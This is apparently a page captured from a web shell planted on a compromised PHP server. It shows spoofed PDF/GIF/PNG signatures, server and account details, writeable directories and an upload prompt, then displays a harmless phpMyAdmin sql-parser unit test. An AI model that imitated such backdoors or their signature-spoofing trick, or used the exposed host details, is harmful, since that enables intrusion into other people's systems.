%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/phpmyadmin/sql-parser/tests/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/phpmyadmin/sql-parser/tests/Utils/ErrorTest.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin\SqlParser\Tests\Utils;

use PhpMyAdmin\SqlParser\Lexer;
use PhpMyAdmin\SqlParser\Parser;
use PhpMyAdmin\SqlParser\Tests\TestCase;
use PhpMyAdmin\SqlParser\Utils\Error;

class ErrorTest extends TestCase
{
    public function testGet(): void
    {
        $lexer = new Lexer('SELECT * FROM db..tbl }');
        $parser = new Parser($lexer->list);
        $this->assertEquals(
            [
                [
                    'Unexpected character.',
                    0,
                    '}',
                    22,
                ],
                [
                    'Unexpected dot.',
                    0,
                    '.',
                    17,
                ],
            ],
            Error::get([$lexer, $parser])
        );
    }

    public function testFormat(): void
    {
        $this->assertEquals(
            ['#1: error msg (near "token" at position 100)'],
            Error::format([['error msg', 42, 'token', 100]])
        );
        $this->assertEquals(
            [
                '#1: error msg (near "token" at position 100)',
                '#2: error msg (near "token" at position 200)',
            ],
            Error::format([['error msg', 42, 'token', 100], ['error msg', 42, 'token', 200]])
        );
    }
}

VaKeR 2022